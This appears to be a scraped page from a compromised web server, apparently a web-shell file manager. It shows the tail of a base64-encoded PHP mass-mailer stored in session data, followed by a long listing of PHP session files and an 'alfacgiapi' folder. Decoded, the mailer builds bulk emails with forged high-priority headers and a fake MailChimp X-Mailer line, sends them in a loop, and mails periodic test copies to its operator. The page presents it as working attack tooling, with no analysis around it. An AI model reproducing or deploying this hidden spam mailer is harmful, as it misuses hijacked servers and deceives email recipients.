iBpZiBleGlzdHMpCiAgICAgICAgICAgICRhdHRhY2htZW50UGF0aCA9IGlzc2V0KCRfU0VTU0lPTlsnYXR0YWNobWVudCddKSA/ICRfU0VTU0lPTlsnYXR0YWNobWVudCddIDogbnVsbDsKICAgICAgICAgICAgJG1pbWVCb2R5ID0gYnVpbGRNaW1lTWVzc2FnZSgkZnV6emVkSHRtbCwgJHBsYWluVGV4dCwgJGF0dGFjaG1lbnRQYXRoKTsKICAgICAgICAgICAgCiAgICAgICAgICAgIC8vIDQuIEFzc2VtYmxlIGZ1bGwgZW1haWwgKGhlYWRlcnMgKyBNSU1FIGJvZHkpCiAgICAgICAgICAgIC8vICAgIFVzZSBcclxuIGxpbmUgZW5kaW5ncyBhcyByZXF1aXJlZCBieSBTTVRQCiAgICAgICAgICAgICRmdWxsTWVzc2FnZSA9ICIiOwogICAgICAgICAgICAkZnVsbE1lc3NhZ2UgLj0gIk1JTUUtVmVyc2lvbjogMS4wXHJcbiI7CiAgICAgICAgICAgICRmdWxsTWVzc2FnZSAuPSAiRGF0ZTogIiAuIGRhdGUoJ0QsIGogTSBZIEg6aTpzIE8nKSAuICJcclxuIjsKICAgICAgICAgICAgaWYgKHN0cmxlbigkdGhpc0Zyb21FbWFpbCkgPiA0KSAkZnVsbE1lc3NhZ2UgLj0gIkZyb206ICR0aGlzRnJvbU5hbWUgPCR0aGlzRnJvbUVtYWlsPlxyXG4iOwogICAgICAgICAgICBpZiAoc3RybGVuKCRyZXBseXRvKSA+IDQpICRmdWxsTWVzc2FnZSAuPSAiUmVwbHktVG86ICRyZXBseXRvXHJcbiI7CiAgICAgICAgICAgICRmdWxsTWVzc2FnZSAuPSAiU3ViamVjdDogJHRoaXNTdWJqZWN0XHJcbiI7CiAgICAgICAgICAgICRmdWxsTWVzc2FnZSAuPSAiWC1Qcmlvcml0eTogMVxyXG4iOwogICAgICAgICAgICAkZnVsbE1lc3NhZ2UgLj0gIlgtTVNNYWlsLVByaW9yaXR5OiBIaWdoXHJcbiI7CiAgICAgICAgICAgICRmdWxsTWVzc2FnZSAuPSAiSW1wb3J0YW5jZTogSGlnaFxyXG4iOwogICAgICAgICAgICAkZnVsbE1lc3NhZ2UgLj0gIlgtTWFpbGVyOiBNYWlsQ2hpbXAgTWFpbGVyXHJcbiI7CiAgICAgICAgICAgICRmdWxsTWVzc2FnZSAuPSAiTWVzc2FnZS1JZDogPCIgLiBtZDUoZ2VuZXJhdGVSYW5kb21BbHBoYU51bWVyaWNTdHJpbmcoMTIpIC4gJHRvKSAuICJAIiAuIChpc3NldCgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkgPyAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSA6ICdsb2NhbGhvc3QnKSAuICI+XHJcbiI7CiAgICAgICAgICAgICRmdWxsTWVzc2FnZSAuPSAkbWltZUJvZHk7CiAgICAgICAgICAgIC8vIEVuc3VyZSBwcm9wZXIgbGluZSBlbmRpbmdzIChhbHJlYWR5IFxyXG4pCiAgICAgICAgICAgIAogICAgICAgICAgICAvL3NlbmQKCQkJaWYobXlNYWlsKCR0aGlzRnJvbUVtYWlsLCAkdG8sICR0aGlzU3ViamVjdCwgJGZ1bGxNZXNzYWdlKSl7CgkJCQkkX1NFU1NJT05bJ2NvdW50YSddID0gKGludGVnZXIpICRfU0VTU0lPTlsnY291bnRhJ10gKyAxOwoJCQkJZWNobyAhZW1wdHkoJF9QT1NUKSA/ICI8Zm9udCBjb2xvcj1cImdyZWVuXCIgPiRjb3VudGVyIHNlbnQgdG8gJHRvPC9mb250PjwvYnI+IjonJzsKCQkJCWVjaG8gJzxzY3JpcHQ+YWRkVG9TZW50KCInLiRlbWFpbExpc3RMaW5lLiciKTt0b3AuZG9jdW1lbnQudGl0bGU9Ii4uIitkb2N1bWVudC5kb21haW4rIiA9PiAnLiRjb3VudGVyLicgc2VudCB0byAnLiR0by4nIjwvc2NyaXB0Pic7CgkJCX1lbHNlewoJCQkJZWNobyAhZW1wdHkoJF9QT1NUKSAgPyAiPGZvbnQgY29sb3I9XCJncmVlblwiID4gJGNvdW50ZXI8L2ZvbnQ+PGZvbnQgY29sb3I9XCJ5ZWxsb3dcIj4gZGVmZXJyZWQ8L2ZvbnQ+PGZvbnQgY29sb3I9XCJncmVlblwiID4gJHRvPC9mb250PjwvYnI+IjonJzsKCQkJCWVjaG8gJzxzY3JpcHQ+YWRkVG9GYWlsZWQoKTwvc2NyaXB0Pic7CgkJCQkKCQkJfQoJCQkkc3R0aW1lMyA9IG1pY3JvdGltZSh0cnVlKTsKCQkJJGRpZmYgPSAkc3R0aW1lMyAtICRzdHRpbWUyOwoJCQkvL2VjaG8gIiRkaWZmICRzdHRpbWUzICRzdHRpbWUyPGJyPiI7CgkJCWlmICgkY291bnRlciAhPSAwICYmICRjb3VudGVyICUgJHRlc3RNc2dBZnRlciA9PSAwKSB7CgkJCQkvL3NlbmQgdGVzdCBlbWFpbAoJCQkJKCR0ZXN0RW1haWw9PW51bGwpPzErMTpteU1haWwoJHRoaXNGcm9tRW1haWwsICR0ZXN0RW1haWwsICR0aGlzU3ViamVjdCwgJGZ1bGxNZXNzYWdlKTsKCQkJfQoJCQkkY291bnRlciArPSAxIDsKCQkJZWNobyAnPHNjcmlwdD5jb3VudCA9IGNvdW50ICsgMTtsb2coY291bnQpO3N0YXJ0Q2hlY2tpbmc9MTs8L3NjcmlwdD4nOwogICAgICAgICAgICAgICAgICAgICAgICBmbHVzaCgpOwogICAgICAgICAgICAgICAgICAgICAgICBvYl9mbHVzaCgpOwoJCX0KCX0KfQplY2hvICI8L2JvZHk+IjsK";counta|i:1;

Filemanager

Name Type Size Permission Actions
alfacgiapi Folder 0755
File 0 B 0
File 0 B 0644
File 0 B 0777
sess_00706d69ce6237c8b16a9eb48e9bc7e2 File 79.69 KB 0600
sess_009b194d2d20ffdd281299078c639204 File 79.69 KB 0600
sess_0161e71449f54124fd1d4e8005e123e9 File 79.69 KB 0600
sess_03d45dc652212fc049adf96197d3e41b File 79.69 KB 0600
sess_044f12c4f6880b972d92cf589796bf76 File 79.69 KB 0600
sess_06f4a819d7e17d89c8dfe3d9f70c81ca File 0 B 0600
sess_0727543440cd455e8b1351d26f821410 File 79.86 KB 0600
sess_086b5775e92bb6a6cdcd9c2275024a30 File 79.69 KB 0600
sess_08d29ea25048af27fff9e7880cd802ad File 79.69 KB 0600
sess_09a40b4b5e120ef8ebeaba1952bc62a5 File 79.69 KB 0600
sess_0ee2204fb2381e00d2d9e6a73b010163 File 79.69 KB 0600
sess_111ee6e22df6777eaf6539bf57662284 File 79.69 KB 0600
sess_118b9180490ece9323dc4e07651fdbc2 File 79.69 KB 0600
sess_145920b9655d369e8cf077f6d6ae06dc File 79.69 KB 0600
sess_1826225ca80c337aebda90360464be7e File 79.69 KB 0600
sess_1be4186e713beff758fd98fe871053a2 File 79.69 KB 0600
sess_1ce206648f98d063468affbdd729e4bb File 0 B 0600
sess_1d5ab72a46e5992f195fa64ce4461ebe File 79.69 KB 0600
sess_1e5398c20d296efb206391abb563859b File 79.69 KB 0600
sess_206cb80228b57b3b596c5c327c3af1f5 File 0 B 0600
sess_2552ecc32a34787ea578adde6e84c0b9 File 79.69 KB 0600
sess_26da896b6b412ad4360d9f62adb14e40 File 79.69 KB 0600
sess_2748b58ea3359cbe8974017926503d8a File 0 B 0600
sess_274e414ae2c98e08d909375dfd3a87f7 File 79.69 KB 0600
sess_27de29db02ce02229565ac4319e96554 File 79.69 KB 0600
sess_281a9c816da81609f2a1239cc3d54298 File 79.86 KB 0600
sess_296ad1352397ea712c53c0e62c2f13eb File 79.69 KB 0600
sess_2a9d8f035d746e35916d40f03b4c6902 File 79.69 KB 0600
sess_2b021b9d3caf7e9e0dfee78b23d825fa File 79.69 KB 0600
sess_2b02f2f9911cd5d533102c42e36b131a File 79.69 KB 0600
sess_2b11ba3dbb7567aafa56d8e5b32e4b44 File 79.69 KB 0600
sess_2b75a4c7383c602483c9517ceb23c25c File 0 B 0600
sess_2ba236bb30a86610a1a515393a9316c4 File 79.69 KB 0600
sess_2f1860cd890578b0bac277f823be73f3 File 79.86 KB 0600
sess_313aad06984f2a8852cd45c0e3768b79 File 79.69 KB 0600
sess_31f2b233571809769e95c76d8f748700 File 79.86 KB 0600
sess_34c06121dabefff1ac9c5e3fa5fc089c File 79.69 KB 0600
sess_34eb9eb6c5bf86831d3d839bb49315f0 File 79.69 KB 0600
sess_377a0f0cb09d7748229d1386cd618406 File 79.69 KB 0600
sess_3ac541a34b770b512248ce8a29f60e7d File 0 B 0600
sess_3b0ce3f735a3b5ba902a8f426a04304b File 79.69 KB 0600
sess_3c928670a45a8294275bc6c5a591461a File 79.69 KB 0600
sess_3e2f715ebe79802aa1e5305710c8b5e1 File 79.69 KB 0600
sess_3fec7be6e4134cb35a2ac9dce6695fb5 File 79.69 KB 0600
sess_453d254e8b3a9a5197107ce353670dd0 File 79.69 KB 0600
sess_47d7134b70ef31fe5f0ddbcfaba338e7 File 0 B 0600
sess_47ec65cc8ff0c4e79d45093d0c851dab File 79.69 KB 0600
sess_4a04965994719fae486bf99ca2ba926d File 79.69 KB 0600
sess_4bd01dd5f7f05e757eeb914cf2bf8ca7 File 79.69 KB 0600
sess_4d5a4e42347a4add74861c570411808b File 79.86 KB 0600
sess_4f3fb5c834c9f04764c4250fe1254464 File 79.69 KB 0600
sess_4f9d973dbe1bf8de92041ef7d8a01305 File 79.86 KB 0600
sess_51c465c9e2afd72dd6a0446a17de4e27 File 79.69 KB 0600
sess_53ab8f94d1d103ec0788c7ed672f51d8 File 79.69 KB 0600
sess_54579a92a435f91cf874b2d77c4676b2 File 79.86 KB 0600
sess_5530dc50cf67d2a228c96d5c770193b6 File 0 B 0600
sess_569748a8a02948b71d1944fd17ca911f File 79.69 KB 0600
sess_56f3eb67e6326fc6c4c02ca9f6ec495b File 79.69 KB 0600
sess_56ffcd19b120e3461fe3718bbbb2723c File 79.69 KB 0600
sess_59e2738421bdd70a8c934d170ced9e9d File 79.69 KB 0600
sess_5d2417b2a615c172372eb9b11b4108fd File 79.69 KB 0600
sess_5dbe9b9cf1f3c3246e43cf7f2b6b0da1 File 79.69 KB 0600
sess_5f1c551be2f62a61406b0a690ac5a0ca File 79.69 KB 0600
sess_6136e3916126808602ded3f18d29259f File 79.69 KB 0600
sess_68f01141e1a838139251b2421dd06701 File 79.69 KB 0600
sess_694cd837c27bd89f32c3043a8417c88d File 79.69 KB 0600
sess_69cbeef579ef32d2a62238579898551a File 79.69 KB 0600
sess_7048a96e54a53690fce1c140e0d7fd9c File 79.69 KB 0600
sess_704c81903783e41538a7b4a52ca816b1 File 79.69 KB 0600
sess_724d388a12cb09a77de7cafbeb03d21b File 79.69 KB 0600
sess_7282c05810de2411aae6687f1ffbde7b File 0 B 0600
sess_72aea555fa5380023a8f7c1ac3d43f89 File 0 B 0600
sess_7337261abc0c10504da634b2a720734c File 79.69 KB 0600
sess_741f48dc68e216cfcaba15bb9092c5e6 File 79.69 KB 0600
sess_743f21614cd038468f6deb9f89a43353 File 0 B 0600
sess_7691dbe935d77ddd4906cfebd12cb52b File 79.69 KB 0600
sess_77971de126ff98fb0cdad79ab4b1dc47 File 0 B 0600
sess_7aadaeed7ff77957e57d41b501e61c7e File 79.69 KB 0600
sess_7be86e5e0f9cd606a6df024e8db8caff File 79.69 KB 0600
sess_7cbeb354c5af29c2b1b9ad3a18206b27 File 79.69 KB 0600
sess_7ebbbf08f41597a4a893829f6357dd23 File 0 B 0600
sess_801f075912158426819b03c77390ecf1 File 79.69 KB 0600
sess_852fbb6683804d0c45f1795173e4a645 File 79.69 KB 0600
sess_8558d282db8a328335759b0845f8e457 File 79.69 KB 0600
sess_856137d1bf2ba1dad2f0cdf4840f5d47 File 79.69 KB 0600
sess_87ae89166693411e472933859e3cb354 File 0 B 0600
sess_880fdddbc22195d687f5c2ec42a0f5af File 79.69 KB 0600
sess_8986ff36e54263432462a22b5834e901 File 79.69 KB 0600
sess_8bfe6dede0af4bb730d92d46c699bcdc File 79.69 KB 0600
sess_8cda381685ace642640ef02e232e2078 File 0 B 0600
sess_8d102c0fcf6afb33940a55b06be9f35a File 79.86 KB 0600
sess_8f963389f46a89a7a6d6d8969457f5fa File 79.69 KB 0600
sess_8fb7d2345b0ea25d90a676e0cd435efa File 79.69 KB 0600
sess_90155157840ccf276c457758cd3f6cc8 File 79.86 KB 0600
sess_9032cd9b5bb0daf09f18576b3f3c6870 File 79.69 KB 0600
sess_93c71f992703044dbd3c81c5f356e006 File 79.69 KB 0600
sess_94d435ff27a440d25ff7c64fc76207c8 File 0 B 0600
sess_958b76c8b2c202fe4fc9e42ebfa5098c File 79.69 KB 0600
sess_9cef9bdc5e24004e068a3f100d6505e2 File 79.86 KB 0600
sess_9edb37650710d0fcea93ba50b26a113d File 0 B 0600
sess_9ee6cd3338965a19be8fd5dfcb774c4c File 79.69 KB 0600
sess_9f0931aa0ae03ebe53629985ebbbf6a1 File 79.69 KB 0600
sess_a0db4b3e4ccf1d6c5136bace511bd5e3 File 0 B 0600
sess_a12fce6e6891c4b3136c204b51102809 File 79.69 KB 0600
sess_a17657a7fc62d52c3c7e1d40ee63e61f File 79.69 KB 0600
sess_a186851c53edd7f696d2c036520e75e0 File 79.69 KB 0600
sess_a4b8b72be2ef9c61cfe5cbe9299afcd5 File 0 B 0600
sess_a5dba6ab4a19b33ff2a585dd78c5a759 File 79.86 KB 0600
sess_a741ec5ba3a4a4e1b518744e14cd757d File 79.69 KB 0600
sess_a9a94f8a018a9eba2d8adec47e84450b File 0 B 0600
sess_ac54fba96f4cafec5a761d6d7b1de5f3 File 79.69 KB 0600
sess_b1f8dca48ffddfe242ddeb1e00ba437b File 0 B 0600
sess_b251385d9f5b39591b217b40629d5a00 File 79.86 KB 0600
sess_b4ec47c0b9184cb54eb9dd554dde0ebd File 79.69 KB 0600
sess_b4fffd6cacf3df87225cc785907f5fce File 79.69 KB 0600
sess_b86e17cf57851e0368783356d7243e5a File 79.69 KB 0600
sess_b8987e6c29717bb5a5bfb2e305991bc3 File 79.86 KB 0600
sess_bb849533a3a98fd7da944d120bf1747e File 79.69 KB 0600
sess_bd0e5494bcfb23768d4d40368ff4380c File 79.69 KB 0600
sess_bee449688205904d1f31d15eb5a7af5f File 79.86 KB 0600
sess_bf41d3e3bc63122002d82a5650ec443a File 0 B 0600
sess_bf4e1056c67e3b92d29356b17d632605 File 79.69 KB 0600
sess_c2e53aa6d1350a58f4396e10e1e47295 File 79.86 KB 0600
sess_c400b97c706a2719402b0dd07aa9f58d File 79.69 KB 0600
sess_c824aa8b1972f59c6f3791fca662c7ba File 79.69 KB 0600
sess_ca1628659a124b00d17b02a7ce760cf5 File 0 B 0600
sess_cb4a58eafdc7f465b9d89ff178e84174 File 79.69 KB 0600
sess_cd576bb56998c5453acb43c9b293981e File 79.69 KB 0600
sess_cdb309d6451cfaa68b573b797e411dcc File 0 B 0600
sess_cfbb89a052da68ef6ce692f895a36ae6 File 0 B 0600
sess_cfff7e2e6bb4b607b9d2d871cd13775e File 79.69 KB 0600
sess_d02930fc2b07faf596527a6ad67f1857 File 79.69 KB 0600
sess_d13dc829db0a82946882b4e7f6dd356b File 79.69 KB 0600
sess_d3cd2e8f5348d7b0772f4350c000a5ef File 79.69 KB 0600
sess_d6db681246eff02545a525a569544999 File 79.86 KB 0600
sess_d7d281cdfda4c2a086029af7f41635c3 File 79.69 KB 0600
sess_da280c530fccb6172fcb1e70cb63e549 File 0 B 0600
sess_dade4b708079ad7dd10a27fe08992318 File 79.69 KB 0600
sess_dbc636da6d9a8880ee0faa6afc8bf077 File 79.69 KB 0600
sess_dd4f555419685b9ddb3391c5897f70ac File 0 B 0600
sess_df6459328a34ea46b5e1670f8023e0ff File 79.69 KB 0600
sess_df9d945d10db6a9b00afdc62666b941c File 79.69 KB 0600
sess_dfef3dd95da97931ab21b64c03877471 File 79.86 KB 0600
sess_e0dc0d75d047fc72a3b2b186798199d1 File 79.69 KB 0600
sess_e185c8b8579ac6c62133cefd10b4a91b File 0 B 0600
sess_e1b9e0d0ca461b638c8ec393811121fa File 0 B 0600
sess_e269dfa1c7e9dc22303d319b97079cb0 File 0 B 0600
sess_e4418684da35ade5f5d077ee6c715fe1 File 0 B 0600
sess_e51a627114180a64826d8ebb45050646 File 79.69 KB 0600
sess_e51ac90491ff7ab14b2e298411cf9dc3 File 79.69 KB 0600
sess_e7453e8b143c9d02541def6a911296e0 File 0 B 0600
sess_ecb81ef071298a7ceff396c619e844e1 File 79.69 KB 0600
sess_ed1fa77dbfa2e4f6f993c4585a19bc58 File 0 B 0600
sess_f0feea08f5ef4a8c042ad06aaa31c5f7 File 79.69 KB 0600
sess_f21418588c415c932182341277332b1c File 79.69 KB 0600
sess_f4a13ff35dd9ec429125102abddd3479 File 0 B 0600
sess_f6fb4d553443969b579de68608f5a849 File 79.69 KB 0600
sess_f89e6a1f2b910db7904e33e74cfec0f7 File 79.69 KB 0600
sess_f8c222b6e1f039ada5e062d73b198773 File 79.69 KB 0600
sess_fb600a7a82ef679a54b6bf5bf0ce7553 File 79.69 KB 0600
sess_fdb20aa5af5e606382d41526420363ed File 0 B 0600
sess_fdc20de1ae0951fe5ce8decc37b60d67 File 0 B 0600
sess_ffc2bc6883fb1a503198f322b005b8eb File 0 B 0600